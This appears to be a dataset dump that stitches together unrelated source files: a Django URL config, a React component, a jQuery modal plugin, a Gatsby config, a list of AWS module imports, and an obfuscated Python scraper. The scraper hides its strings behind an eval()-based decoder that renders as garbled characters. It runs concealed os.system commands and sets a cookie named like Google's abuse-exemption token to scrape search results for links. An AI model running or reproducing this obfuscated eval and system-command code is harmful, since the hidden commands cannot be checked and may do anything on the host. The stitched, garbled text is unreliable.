text
stringlengths 3
1.05M
|
|---|
"""
Django URLs config for locallibrary project.
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
# Use include() to add paths from the catalog application and authentication system
from django.urls import include
# Add URL maps to redirect the base URL to our application
from django.views.generic import RedirectView
# Use static() to add url mapping to serve static files during development (only)
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('admin/', admin.site.urls),
path('catalog/', include('catalog.urls')),
path('', RedirectView.as_view(url='catalog/', permanent=True)),
] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
# Add Django site authentication urls (for login, logout, password management)
urlpatterns += [
path('accounts/', include('django.contrib.auth.urls')),
]
|
import React from 'react';
const VideoListItem = ({ video, onVideoSelect }) => {
const imgUrl = video.snippet.thumbnails.default.url;
const title = video.snippet.title;
return (
<li onClick={ () => onVideoSelect(video) } className="list-group-item">
<div className="video-list media">
<div className="media-left">
<img className="media-object" src={ imgUrl }/>
</div>
<div className="media-body">
<div className="media-heading">{ title }</div>
</div>
</div>
</li>
);
}
export default VideoListItem;
|
(function($){
//closeDOMWindow
$.fn.closeDOMWindow = function(settings){
if(!settings){settings={};}
var run = function(passingThis){
if(settings.anchoredClassName){
$('.'+settings.anchoredClassName).fadeOut('slow',function(){
if($.fn.draggable){
$('.'+settings.anchoredClassName).draggable('destory').trigger("unload").remove();
}else{
$('.'+settings.anchoredClassName).trigger("unload").remove();
}
});
if(settings.functionCallOnClose){settings.functionCallAfterClose();}
}else{
$('#DOMWindowOverlay').fadeOut('slow',function(){
$('#DOMWindowOverlay').trigger('unload').unbind().remove();
});
$('#DOMWindow').fadeOut('slow',function(){
if($.fn.draggable){
$('#DOMWindow').draggable("destroy").trigger("unload").remove();
}else{
$('#DOMWindow').trigger("unload").remove();
}
});
$(window).unbind('scroll.DOMWindow');
$(window).unbind('resize.DOMWindow');
if($.fn.openDOMWindow.isIE6){$('#DOMWindowIE6FixIframe').remove();}
if(settings.functionCallOnClose){settings.functionCallAfterClose();}
}
};
if(settings.eventType){//if used with $().
return this.each(function(index){
$(this).bind(settings.eventType, function(){
run(this);
return false;
});
});
}else{//else called as $.function
run();
}
};
//allow for public call, pass settings
$.closeDOMWindow = function(s){$.fn.closeDOMWindow(s);};
//openDOMWindow
$.fn.openDOMWindow = function(instanceSettings){
var shortcut = $.fn.openDOMWindow;
//default settings combined with callerSettings////////////////////////////////////////////////////////////////////////
shortcut.defaultsSettings = {
anchoredClassName:'',
anchoredSelector:'',
borderColor:'#ccc',
borderSize:'4',
draggable:0,
eventType:null, //click, blur, change, dblclick, error, focus, load, mousedown, mouseout, mouseup etc...
fixedWindowY:100,
functionCallOnOpen:null,
functionCallOnClose:null,
height:500,
loader:0,
loaderHeight:0,
loaderImagePath:'',
loaderWidth:0,
modal:0,
overlay:1,
overlayColor:'#000',
overlayOpacity:'15',
positionLeft:0,
positionTop:0,
positionType:'centered', // centered, anchored, absolute, fixed
width:500,
windowBGColor:'#e9e9e9',
windowBGImage:null, // http path
windowHTTPType:'post',
windowPadding:10,
windowSource:'inline', //inline, ajax, iframe
windowSourceID:'',
windowSourceURL:'',
windowSourceAttrURL:'href',
bodyScroll:'Y'
};
var settings = $.extend({}, $.fn.openDOMWindow.defaultsSettings , instanceSettings || {});
//Public functions
shortcut.viewPortHeight = function(){ return self.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;};
shortcut.viewPortWidth = function(){ return self.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;};
shortcut.scrollOffsetHeight = function(){ return self.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop;};
shortcut.scrollOffsetWidth = function(){ return self.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft;};
shortcut.isIE6 = typeof document.body.style.maxHeight === "undefined";
//Private Functions/////////////////////////////////////////////////////////////////////////////////////////////////////////
var sizeOverlay = function(){
if(shortcut.isIE6){//if IE 6
var overlayViewportHeight = document.documentElement.offsetHeight + document.documentElement.scrollTop - 4;
var overlayViewportWidth = document.documentElement.offsetWidth - 21;
$('#DOMWindowOverlay').css({'height':overlayViewportHeight +'px','width':overlayViewportWidth+'px'});
}else{//else Firefox, safari, opera, IE 7+
$('#DOMWindowOverlay').css({'height':'100%','width':'100%','position':'fixed'});
}
};
var sizeIE6Iframe = function(){
var overlayViewportHeight = document.documentElement.offsetHeight + document.documentElement.scrollTop - 4;
var overlayViewportWidth = document.documentElement.offsetWidth - 21;
$('#DOMWindowIE6FixIframe').css({'height':overlayViewportHeight +'px','width':overlayViewportWidth+'px'});
};
var centerDOMWindow = function() {
if(settings.height + 50 > shortcut.viewPortHeight()){//added 50 to be safe
$('#DOMWindow').css('left',Math.round(shortcut.viewPortWidth()/2) + shortcut.scrollOffsetWidth() - Math.round(($('#DOMWindow').outerWidth())/2));
}else{
$('#DOMWindow').css('left',Math.round(shortcut.viewPortWidth()/2) + shortcut.scrollOffsetWidth() - Math.round(($('#DOMWindow').outerWidth())/2));
$('#DOMWindow').css('top',Math.round(shortcut.viewPortHeight()/2) + shortcut.scrollOffsetHeight() - Math.round(($('#DOMWindow').outerHeight())/2));
}
};
var centerLoader = function() {
if(shortcut.isIE6){//if IE 6
$('#DOMWindowLoader').css({'left':Math.round(shortcut.viewPortWidth()/2) + shortcut.scrollOffsetWidth() - Math.round(($('#DOMWindowLoader').innerWidth())/2),'position':'absolute'});
$('#DOMWindowLoader').css({'top':Math.round(shortcut.viewPortHeight()/2) + shortcut.scrollOffsetHeight() - Math.round(($('#DOMWindowLoader').innerHeight())/2),'position':'absolute'});
}else{
$('#DOMWindowLoader').css({'left':'50%','top':'50%','position':'fixed'});
}
};
var fixedDOMWindow = function(){
$('#DOMWindow').css('left', settings.positionLeft + shortcut.scrollOffsetWidth());
$('#DOMWindow').css('top', + settings.positionTop + shortcut.scrollOffsetHeight());
};
var showDOMWindow = function(instance){
if(arguments[0]){
$('.'+instance+' #DOMWindowLoader').remove();
$('.'+instance+' #DOMWindowContent').fadeIn('slow',function(){if(settings.functionCallOnOpen){settings.functionCallOnOpen();}});
$('.'+instance+ '.closeDOMWindow').click(function(){
$.closeDOMWindow();
return false;
});
}else{
$('#DOMWindowLoader').remove();
$('#DOMWindow').fadeIn('slow',function(){if(settings.functionCallOnOpen){settings.functionCallOnOpen();}});
$('#DOMWindow .closeDOMWindow').click(function(){
$.closeDOMWindow();
return false;
});
}
};
var urlQueryToObject = function(s){
var query = {};
s.replace(/b([^&=]*)=([^&=]*)b/g, function (m, a, d) {
if (typeof query[a] != 'undefined') {
query[a] += ',' + d;
} else {
query[a] = d;
}
});
return query;
};
//Run Routine ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var run = function(passingThis){
//get values from element clicked, or assume its passed as an option
settings.windowSourceID = $(passingThis).attr('href') || settings.windowSourceID;
settings.windowSourceURL = $(passingThis).attr(settings.windowSourceAttrURL) || settings.windowSourceURL;
settings.windowBGImage = settings.windowBGImage ? 'background-image:url('+settings.windowBGImage+')' : '';
var urlOnly, urlQueryObject;
if(settings.positionType == 'anchored'){//anchored DOM window
var anchoredPositions = $(settings.anchoredSelector).position();
var anchoredPositionX = anchoredPositions.left + settings.positionLeft;
var anchoredPositionY = anchoredPositions.top + settings.positionTop;
$('body').append('<div class="'+settings.anchoredClassName+'" style="'+settings.windowBGImage+';background-repeat:no-repeat;padding:'+settings.windowPadding+'px;overflow:auto;position:absolute;top:'+anchoredPositionY+'px;left:'+anchoredPositionX+'px;height:'+settings.height+'px;width:'+settings.width+'px;background-color:'+settings.windowBGColor+';border:'+settings.borderSize+'px solid '+settings.borderColor+';z-index:10001;top:20px;left:10%;"><div id="DOMWindowContent" style="display:none"></div></div>');
//loader
if(settings.loader && settings.loaderImagePath !== ''){
$('.'+settings.anchoredClassName).append('<div id="DOMWindowLoader" style="width:'+settings.loaderWidth+'px;height:'+settings.loaderHeight+'px;"><img src="'+settings.loaderImagePath+'" /></div>');
}
if($.fn.draggable){
if(settings.draggable){$('.' + settings.anchoredClassName).draggable({cursor:'move'});}
}
switch(settings.windowSource){
case 'inline'://////////////////////////////// inline //////////////////////////////////////////
$('.' + settings.anchoredClassName+" #DOMWindowContent").append($(settings.windowSourceID).children());
$('.' + settings.anchoredClassName).unload(function(){// move elements back when you're finished
$('.' + settings.windowSourceID).append( $('.' + settings.anchoredClassName+" #DOMWindowContent").children());
});
showDOMWindow(settings.anchoredClassName);
break;
case 'iframe'://////////////////////////////// iframe //////////////////////////////////////////
$('.' + settings.anchoredClassName+" #DOMWindowContent").append('<iframe frameborder="0" hspace="0" wspace="0" src="'+settings.windowSourceURL+'" name="DOMWindowIframe'+Math.round(Math.random()*1000)+'" style="width:100%;height:100%;border:none;background-color:#fff;" class="'+settings.anchoredClassName+'Iframe" ></iframe>');
$('.'+settings.anchoredClassName+'Iframe').load(showDOMWindow(settings.anchoredClassName));
break;
case 'ajax'://////////////////////////////// ajax //////////////////////////////////////////
if(settings.windowHTTPType == 'post'){
if(settings.windowSourceURL.indexOf("?") !== -1){//has a query string
urlOnly = settings.windowSourceURL.substr(0, settings.windowSourceURL.indexOf("?"));
urlQueryObject = urlQueryToObject(settings.windowSourceURL);
}else{
urlOnly = settings.windowSourceURL;
urlQueryObject = {};
}
$('.' + settings.anchoredClassName+" #DOMWindowContent").load(urlOnly,urlQueryObject,function(){
showDOMWindow(settings.anchoredClassName);
});
}else{
if(settings.windowSourceURL.indexOf("?") == -1){ //no query string, so add one
settings.windowSourceURL += '?';
}
$('.' + settings.anchoredClassName+" #DOMWindowContent").load(
settings.windowSourceURL + '&random=' + (new Date().getTime()),function(){
showDOMWindow(settings.anchoredClassName);
});
}
break;
}
}else{//centered, fixed, absolute DOM window
//overlay & modal
if(settings.overlay){
$('body').append('<div id="DOMWindowOverlay" style="z-index:10000;display:none;position:absolute;top:0;left:0;background-color:'+settings.overlayColor+';filter:alpha(opacity='+settings.overlayOpacity+');-moz-opacity: 0.'+settings.overlayOpacity+';opacity: 0.'+settings.overlayOpacity+';"></div>');
if(shortcut.isIE6){//if IE 6
$('body').append('<iframe id="DOMWindowIE6FixIframe" src="blank.html" style="width:100%;height:100%;z-index:9999;position:absolute;top:0;left:0;filter:alpha(opacity=0);"></iframe>');
sizeIE6Iframe();
}
sizeOverlay();
$('#DOMWindowOverlay').fadeIn('slow');
if(!settings.modal){$('#DOMWindowOverlay').click(function(){$.closeDOMWindow();});}
}
//loader
if(settings.loader && settings.loaderImagePath !== ''){
$('body').append('<div id="DOMWindowLoader" style="z-index:10002;width:'+settings.loaderWidth+'px;height:'+settings.loaderHeight+'px;"><img src="'+settings.loaderImagePath+'" /></div>');
centerLoader();
}
//add DOMwindow
if(settings.bodyScroll == 'N'){
$('body').append('<div id="DOMWindow" style="background-repeat:no-repeat;'+settings.windowBGImage+';overflow:none;padding:'+settings.windowPadding+'px;display:none;height:'+settings.height+'px;width:'+settings.width+'px;background-color:'+settings.windowBGColor+';border:'+settings.borderSize+'px solid '+settings.borderColor+'; position:absolute;z-index:10001;top:20px;left:20%;"></div>');
}else{
$('body').append('<div id="DOMWindow" style="background-repeat:no-repeat;'+settings.windowBGImage+';overflow:auto;padding:'+settings.windowPadding+'px;display:none;height:'+settings.height+'px;width:'+settings.width+'px;background-color:'+settings.windowBGColor+';border:'+settings.borderSize+'px solid '+settings.borderColor+'; position:absolute;z-index:10001;top:20px;left:20%;"></div>');
}
//centered, absolute, or fixed
switch(settings.positionType){
case 'centered':
centerDOMWindow();
if(settings.height + 50 > shortcut.viewPortHeight()){//added 50 to be safe
$('#DOMWindow').css('top', (settings.fixedWindowY + shortcut.scrollOffsetHeight()) + 'px');
}
break;
case 'absolute':
$('#DOMWindow').css({'top':(settings.positionTop+shortcut.scrollOffsetHeight())+'px','left':(settings.positionLeft+shortcut.scrollOffsetWidth())+'px'});
if($.fn.draggable){
if(settings.draggable){$('#DOMWindow').draggable({cursor:'move'});}
}
break;
case 'fixed':
fixedDOMWindow();
break;
}
$(window).bind('scroll.DOMWindow',function(){
if(settings.overlay){sizeOverlay();}
if(shortcut.isIE6){sizeIE6Iframe();}
if(settings.positionType == 'centered'){centerDOMWindow();}
if(settings.positionType == 'fixed'){fixedDOMWindow();}
});
$(window).bind('resize.DOMWindow',function(){
if(shortcut.isIE6){sizeIE6Iframe();}
if(settings.overlay){sizeOverlay();}
if(settings.positionType == 'centered'){centerDOMWindow();}
});
switch(settings.windowSource){
case 'inline'://////////////////////////////// inline //////////////////////////////////////////
$("#DOMWindow").append($(settings.windowSourceID).children());
$("#DOMWindow").unload(function(){// move elements back when you're finished
$(settings.windowSourceID).append( $("#DOMWindow").children());
});
showDOMWindow();
break;
case 'iframe'://////////////////////////////// iframe //////////////////////////////////////////
if(settings.bodyScroll == 'N'){
$('#DOMWindow').append('<iframe scrolling="no" frameborder="0" hspace="0" wspace="0" src="'+settings.windowSourceURL+'" name="DOMWindowIframe'+Math.round(Math.random()*1000)+'" style="width:100%;height:' + (settings.height - 2) + 'px;border:none;background-color:#fff;" id="DOMWindowIframe" ></iframe>');
}else{
$('#DOMWindow').append('<iframe frameborder="0" hspace="0" wspace="0" src="'+settings.windowSourceURL+'" name="DOMWindowIframe'+Math.round(Math.random()*1000)+'" style="width:100%;height:' + (settings.height - 2) + 'px;border:none;background-color:#fff;" id="DOMWindowIframe" ></iframe>');
}
$('#DOMWindowIframe').load(showDOMWindow());
break;
case 'ajax'://////////////////////////////// ajax //////////////////////////////////////////
if(settings.windowHTTPType == 'post'){
if(settings.windowSourceURL.indexOf("?") !== -1){//has a query string
urlOnly = settings.windowSourceURL.substr(0, settings.windowSourceURL.indexOf("?"));
urlQueryObject = urlQueryToObject(settings.windowSourceURL);
}else{
urlOnly = settings.windowSourceURL;
urlQueryObject = {};
}
$("#DOMWindow").load(urlOnly,urlQueryObject,function(){
showDOMWindow();
});
}else{
if(settings.windowSourceURL.indexOf("?") == -1){ //no query string, so add one
settings.windowSourceURL += '?';
}
$("#DOMWindow").load(
settings.windowSourceURL + '&random=' + (new Date().getTime()),function(){
showDOMWindow();
});
}
break;
}
}//end if anchored, or absolute, fixed, centered
};//end run()
if(settings.eventType){//if used with $().
return this.each(function(index){
$(this).bind(settings.eventType,function(){
run(this);
return false;
});
});
}else{//else called as $.function
run();
}
};//end function openDOMWindow
//allow for public call, pass settings
$.openDOMWindow = function(s){$.fn.openDOMWindow(s);};
})(jQuery);
|
module.exports = [{
plugin: require('../node_modules/gatsby-plugin-offline/gatsby-browser.js'),
options: {"plugins":[]},
},{
plugin: require('../node_modules/gatsby-plugin-manifest/gatsby-browser.js'),
options: {"plugins":[],"name":"Gatsby Simplefolio","short_name":"Simplefolio","start_url":"/","background_color":"#fff","theme_color":"#02aab0","display":"standalone","icon":"src/images/favicon.png","cache_busting_mode":"query","include_favicon":true,"legacy":true,"theme_color_in_head":true,"cacheDigest":"09e2c61270183412d77b164c5fdf5bce"},
}]
|
# -*- coding: utf-8 -*-
from . import (
appmesh,
wafregional,
quicksight,
elasticache,
appflow,
lookoutmetrics,
greengrass,
athena,
glue,
sagemaker,
s3,
elasticbeanstalk,
pinpoint,
eventschemas,
customerprofiles,
apprunner,
iotanalytics,
dms,
cloudtrail,
xray,
ses,
pinpointemail,
iot,
autoscaling,
cloudfront,
emr,
cassandra,
wafv2,
mediapackage,
acmpca,
iotwireless,
kinesisanalyticsv2,
cognito,
ecs,
kinesisanalytics,
config,
opsworks,
batch,
databrew,
applicationautoscaling,
ec2,
imagebuilder,
appsync,
directoryservice,
medialive,
awslambda,
elasticsearch,
groundstation,
iotevents,
greengrassv2,
managedblockchain,
waf,
networkfirewall,
datasync,
apigateway,
appconfig,
devopsguru,
ecr,
resourcegroups,
efs,
stepfunctions,
kinesisfirehose,
appstream,
elasticloadbalancing,
backup,
gamelift,
rds,
dynamodb,
eks,
dlm,
guardduty,
cloudwatch,
ssm,
elasticloadbalancingv2,
budgets,
mediaconnect,
codestar,
ssmcontacts,
auditmanager,
codedeploy,
lakeformation,
networkmanager,
route53,
logs,
s3outposts,
applicationinsights,
secretsmanager,
codebuild,
iotsitewise,
cloudformation,
ssmincidents,
route53resolver,
sns,
apigatewayv2,
codepipeline,
msk,
nimblestudio,
globalaccelerator,
ivs,
amazonmq,
datapipeline,
fis,
iam,
frauddetector,
servicecatalog,
location,
licensemanager,
mediastore,
events,
signer,
kendra,
amplify,
robomaker,
macie,
redshift,
synthetics,
autoscalingplans,
ask,
certificatemanager,
servicediscovery,
accessanalyzer,
s3objectlambda,
iotthingsgraph,
qldb,
mediaconvert,
ce,
appintegrations,
fms,
kinesis,
codecommit,
emrcontainers,
neptune,
sso,
fsx,
finspace,
workspaces,
transfer,
mwaa,
iot1click,
dax,
codeguruprofiler,
opsworkscm,
codestarnotifications,
cloud9,
ram,
sqs,
codestarconnections,
kms,
iotfleethub,
codeartifact,
docdb,
servicecatalogappregistry,
detective,
sdb,
codegurureviewer,
iotcoredeviceadvisor,
timestream,
inspector,
securityhub,
cur,
lookoutvision,
chatbot,
)
|
# coding: UTF-8
import sys
l1lll1ll = sys.version_info [0] == 2
l1lll1l1 = 2048
l11l1l1 = 7
def l11lllll (l111l11):
global l1l11
l1l1l1 = ord (l111l11 [-1])
l1ll111l = l111l11 [:-1]
l1lll1l = l1l1l1 % len (l1ll111l)
l1ll1l = l1ll111l [:l1lll1l] + l1ll111l [l1lll1l:]
if l1lll1ll:
l1l1l1l1 = unicode () .join ([unichr (ord (char) - l1lll1l1 - (l111ll11 + l1l1l1) % l11l1l1) for l111ll11, char in enumerate (l1ll1l)])
else:
l1l1l1l1 = str () .join ([chr (ord (char) - l1lll1l1 - (l111ll11 + l1l1l1) % l11l1l1) for l111ll11, char in enumerate (l1ll1l)])
return eval (l1l1l1l1)
while 1:
try:
import sys, time, os, re, colorama, requests, random, bs4, threading, lxml, base64, getpass, hashlib
from requests import Session, Request
from bs4 import BeautifulSoup
from urllib.parse import quote
from distutils.util import strtobool
from colorama import Fore, Back, Style
from selectmenu import SelectMenu
from threading import Lock
from lxml import html
break
except ImportError:
print(l11lllll (u"ࠫࠥࡄࠠࡑࡨࡥࡸࠠࡘࡣࡸࠥࡨࡪࡨࠤࡹࡥࠡࡒࡵࡳࡸࡡࠢࡌࡲࡸࡺࡡࡶࠤࡹࡥࠡࡆࡨࡴࡪࡴࡤࡦࡰࡦࡪࡹࠡࡖࡋࡍࡘࠦࡍࡊࡉࡋࡘ࡚ࠥࡁࡌࡇࠣࡅࠥࡒࡏࡏࡉࠣࡘࡎࡓࡅࠩࠀ"))
os.system(l11lllll (u"ࠬࡧࡰࡵࠢࡸࡴࡩࡧࡴࡦࠢࠩࠪࠥࡧࡰࡵࠢࡸࡴࡸࡡࡥࡧࠣࠪࠫࠦࡡࡱࡶࠣࡳࡹࡴࡢࠤࡷࡵࡵࡵࡩࡵࡵࠠࡶࡰࡶࡸࡦࡨࡦࡵࡩࡵࡵࠠࡻࠪࠁ"))
os.system(l11lllll (u"࠭ࡡࡱࡶࠣࡳࡹࡴࡢࠤࡨࡲࡡࡩࠣࡴࡾࡺࡨࡰࡰࠣࡰࡨࡸࡴࡷࠤࡱࡢࡪࡥࡲࡲࡻࠦࡪࡤࡧࡴࡴࡶࠡࡼࠫࠂ"))
os.system(l11lllll (u"ࠧࡱࡳࠤࡴࡳࡵࡣࡰࠥࡲࡸࠪࠃ"))
os.system(l11lllll (u"ࠨࡲࡴࠥࡴࡶࡤࡰࡱࠦ࠭ࡳࠢࡵࡩࡶࡻࡩࡳࡧࡰࡩࡳࡺࡳࠨࠄ"))
os.system(l11lllll (u"ࠩࡳࡵࠦࡩࡵࡷࡥࡱࡲࠠࡴࡧࡩࡨࡺࡦࡰࡸࠤࠬࠅ"))
print(l11lllll (u"ࠪࡠࡳࡢࠡࡀࠣࡈࡪࡶࡥࡦࡨࡲࡨࡥࡴࠢࡌࡲࡸࡺࡡࡨࡨ࠳ࠦࡒࡦࡵࡷࡥࡷࡺࡩࡩ࠱࠲࠳࠭ࠆ"))
os.system(l11lllll (u"ࠫࡨࡲࡥࡢࡴࠪࠇ"))
continue
colorama.init(autoreset=True)
l = Lock()
l1ll = []
l111111 = l11lllll (u"ࠬ࠵ࡤࡢࡶࡤ࠳ࡩࡧࡴࡢ࠱ࡦࡳࡲ࠴ࡴࡦࡴࡰࡹࡽ࠵ࡦࡪࡨࡷ࠴ࡧ࠲ࠫࠈ")
l11111 = l11lllll (u"࠭ࡥࡣࡷࡥ࠴ࡪࡡࡵࡣ࠲ࡧࡴࡳࡵࡧࡵࡱࡺࡾࡧࡩࡸ࠵ࡨࡰࡨ࠳ࡸࡺࡳࡣࡪࡩ࠴ࡹࡨࡢࡴࡨࡨ࠴ࡦࡨࡱࡴࡸࡴࡄࡱࡰࡱࡺࡴࡩࡵࡻ࠲ࡇࡴࡳࡢࡰࡉࡨࡲ࠴࠭ࠉ")
class l1l1lll1(Exception):
pass
class l1l1l111(Exception):
pass
class l11lll1l(Exception):
pass
class l111llll(Exception):
pass
class l1l1l11(Exception):
pass
class l1l1l11l(Exception):
pass
class l1llllll:
def __init__(self, l1l11l11):
self.l111lll = l1l11l11
self.l1l1ll1 = {l11lllll (u"ࠧࡖࡵࡨࡶ࠲ࡇࡧࡦࡰࡷࠫࠊ"):l11lllll (u"ࠨࡏࡲࡾࡲࡢ࠱࠸࠲࠵ࠦࠨࡂࡰࡧࡶࡴࡤࠡ࠻࠾ࠤࡒࡵࡢࡪࡨࠥࡸࡶ࠻࠸࠺࠲࠵ࠠࡈࡧࡦࡴ࠵࠶࠸࠰࠳ࠤࡋࡲࡦࡨࡲࡼ࠴࠼࠷࠲ࠪࠋ"),
l11lllll (u"ࠩࡄࡧࡨࡰࡵࠩࠌ"):l11lllll (u"ࠪࡸࡪࡾࡴ࠰ࡺࡰࡰ࠱ࡧࡰࡱࡧࡦࡺࡩࡰࡰ࠲ࡼࡲࡲࠬࡢࡲࡳࡰࡩࡡࡵࡲࡲ࠴ࡾࡨࡵࡽࡳ࠭ࡶࡨࡼࡹ࠵ࡨࡵࡶࡃ࠰࠻ࡸࡪࡾࡴ࠰ࡲࡥࡴ࠻ࡲ࠳࠲࠽࠲ࡩࡣࡪࡩ࠴ࡶࡨ࠭࠳ࡁࡱ࠾࠲࠱࠹ࠬࠍ"),
l11lllll (u"ࠫࡈࡵࡧࡦࡸࡵࠨࠎ"):l11lllll (u"ࠬࡱࡥࡦࡲ࠰ࡥࡱࡶࡦࠩࠏ"),
l11lllll (u"࠭ࡋࡦࡧࡳ࠱ࡆࡲࡩࡷࡧࠪࠐ"):l11lllll (u"ࠧ࠲࠳࠸ࠫࠑ"),
l11lllll (u"ࠨࡃࡦࡧࡪࡶࡴࡅࡥࡷࡹࡥࡵࠩࠒ"):l11lllll (u"ࠩࡌࡗࡔ࠳࠸࠹࠷࠼࠱࠶࠲ࡵࡵࡨ࠰࠼ࡀࡷ࠽࠱࠰࠺࠰ࡁࡱ࠾࠲࠱࠻ࠬࠓ"),
l11lllll (u"ࠪࡅࡨࡩࡥࡱࡶ࠰ࡐࡦࡴࡧࡶࡣࡪࡩࠬࠔ"):l11lllll (u"ࠫࡪࡴ࠭ࡶࡵࡩࡳࡁࡱ࠾࠲࠱࠹ࠬࠕ")}
self.l11llll1 = []
self.l11l1ll = 4
self.l1l1llll = 6
self.cookie = l11lllll (u"ࠬ࠭ࠖ")
self.l1l1ll1 = l11lllll (u"࠭ࠧࠗ")
self.ei = l11lllll (u"ࠧࠨ࠘")
self.s = Session()
self.s.headers.update(self.l1l1ll1)
self.l1l1ll = None
self.l1ll1l11 = False
self.l1l111ll = False
def l1ll1l1l(self, l1l11ll1):
l1l11111 = requests.cookies.create_cookie(name=l11lllll (u"ࠨࡉࡒࡓࡌࡒࡅࡠࡃࡅ࡙ࡘࡋࡆ࡚ࡈࡑࡕ࡚ࡉࡐࡐࠪ࠙"), value=l1l11ll1)
self.s.cookies.set_cookie(l1l11111)
self.l1ll1l11 = False
self.l1l111ll = False
def l11ll(self, url):
req = Request(l11lllll (u"ࠩࡊࡉ࡙࠭ࠚ"), url)
prep = req.prepare()
l1lll1 = self.s.send(prep, timeout=30)
return l1lll1
def l11ll1l1(self):
time.sleep(random.choice([self.l11l1ll, self.l1l1llll]))
def l11ll1l(self):
l1l111 = self.l11ll(l11lllll (u"ࠪࡹࡺࡰ࠻࠱࠲ࡻࡼࡽࡨࡱࡲࡱࡤࡱࡰࠫࠛ"))
self.l11ll1l1()
self.l11ll(l11lllll (u"ࠫࡺࡴࡱ࠼࠲࠳ࡼࡽࡷࡩࡲࡳࡲࡥࡥࡲࡱ࠴ࡴࡣࡳࠩࠜ"))
def l11ll1ll(self):
l1l111 = self.l11ll(l11lllll (u"ࠬࡴࡵࡲ࠽࠳࠴ࡽࡷࡸ࠰ࡪࡳࡴࡦ࠰ࡦࡳࡲ࠵ࡰࡳࡧࡩࡩࡷࡤࡧࡶࡃࡲ࠽ࡦࡰࠪࠝ"))
soup = BeautifulSoup(l1l111.content, l11lllll (u"࠭ࡨࡵ࠲ࡵࡧࡲࡴࡧࡵࠫࠞ"))
l1lll = soup.find(l11lllll (u"ࠧࡪࡰࡳࡹࡹ࠭ࠟ"), {l11lllll (u"ࠨࡰࡤࡱࡪ࠭ࠠ"): l11lllll (u"ࠩࡶ࠭ࠡ")})
self.l11ll1l1()
self.l11ll(l11lllll (u"ࠪࡹࡺࡰ࠻࠱࠲ࡻࡼࡽࡨࡱࡲࡱࡤࡱࡰ࠳ࡸࡴࡱࡴࡨࡪࡸࡅࡳࡪࡩࡀࠫࠢ") + quote(l1lll[l11lllll (u"ࠫࡻࡧࡶࡧࠪࠣ")]) + l11lllll (u"ࠬࠬࡨࡨࡲࠫࡲࡲ࠾ࡤࡲࡥࡥࠨࡶࡥࡵࡪࡱࡦࡥࡴࠨࡶࡹ࠵ࠪࡳࡷࡸࡱࡨࡴࡽ࠽࠱ࠨࡱࡹࡲࡃ࠱࠱࠲ࠩࡵࡂࠬࡰࡳࡧࡹࡁࡺࡴࡱࠧ࠶ࡅࠪ࠸ࡆࠦ࠴ࡉࡻࡼࡽࡨࡱࡲࡱࡤࡱࡰࠩ࠷ࡌࠦࡴࡷࡥࡱࡺ࠲࠾ࡕࡤࡺࡪ࠱ࡐࡳࡧࡩࡩࡷࡤࡧࡶࠬࠤ"))
def l11l1l1l(self, l1l111l1=None):
while 1:
try:
l111ll1l = l11lllll (u"࠭ࡨࡵࡶࡳ࠾࠴࠵ࡷࡸࡹ࠱ࡴࡵࡧࡧ࠱ࡧࡴࡳࡴࡧࡤࡶࡨࡲࠪࠥ") + str(quote(self.l111lll)) + l11lllll (u"ࠧࠧࡶࡥࡷࡂࡷࡤࡳ࠼ࠪࠦ") + l1l111l1 + l11lllll (u"ࠨࠨࡱࡹࡲࡃ࠱࠱࠲ࠩࡱࡃࡥࠨࡥࡼࡃ࠱࠳࠺࠳ࠪࡧࡨ࠾࠸࠴࠶ࠫࡶࡲࡦࡀࡻࡴࡳࠧࡧࡁࠬࠧ") + str(quote(self.ei)) + l11lllll (u"ࠩࠩࡷࡦࡃࡎࠨࠨ")
l1l111 = self.l11ll(l111ll1l)
soup = BeautifulSoup(l1l111.text, l11lllll (u"ࠪࡹࡳࡲࡤࡶࡸࡲࠨࠩ"))
l1llll1l = soup.findAll(l11lllll (u"ࠫࡵࡲࠩࠪ"))
if not l1llll1l is not None:
if l1llll1l != []:
if l1llll1l[0][l11lllll (u"ࠬࡤࠨࠫ")] == l11lllll (u"࠭ࡣࡢࡲࡷࡧࡧ࠭ࡧࡱࡵࡱࠬࠬ"):
raise l1l1lll1
links = soup.findAll(l11lllll (u"ࠧࡢࠩ࠭"))
for link in links:
l111l1 = link[l11lllll (u"ࠨࡪࡵࡩ࠭")]
if l11lllll (u"ࠩ࠲ࡹࡷࡲࡲࡸࡹࡶࡳ࠻࠱࠲ࡴࡦࡹࡴࡦࡤࡲ࠳ࡩࠩ") in l111l1:
self.l11llll1.append(l111l1[7:])
break
except l1l1lll1:
print(Fore.RED + Style.DIM + l11lllll (u"ࠪࡠࡳࠦ࠾࡛ࠡࡲࡹࠥࡡࡷࡧࠣࡆࡪࠡࡄࡥࡨࡱࡪࡵࡷࡩࡩࠦࡦࡳࡱࡰࠤࡌࡵࡨࡨ࠲ࠥࡕࡰࡦࡰࠣࠫ࠰") + Style.BRIGHT + l111ll1l + Style.DIM + l11lllll (u"ࠫࠥࠡࡈࡶࡪࡹࠢࡤࡲࡩࠦࡅࡶࡨࡶࠥࡺࡨࡦࠢࡆࡳࡳࡺࡥࡶࠣࡳࠦࡴࡩࡧࠣࡋࡔࡕࡇࡍࡇࡢࡅࡇ࡛ࡓࡆࡡࡈࡊࡓࡐࡕࡋࡒࡒࠥࡉࡰࡩ࠳ࠦࡃࡐࡑࡎࡍࡊ࡙ࠠࡏࡑࡗࠤࡕࡒࡌࡋࡑࡋ࠳࠭࠱") + Style.RESET_ALL)
break
def l1l1lll(self):
chars = l11lllll (u"ࠬ࠵࠭࡞ࡿࠫ࠲")
for char in chars:
sys.stdout.write(l11lllll (u"࠭ࡳࠩ࠳") + Fore.GREEN + Style.DIM + l11lllll (u"ࠧࠡࡀࠣࡗࡨࡸࡡࡱࡱ࠳࠴ࠨ࠴") + str(char))
time.sleep(0.2)
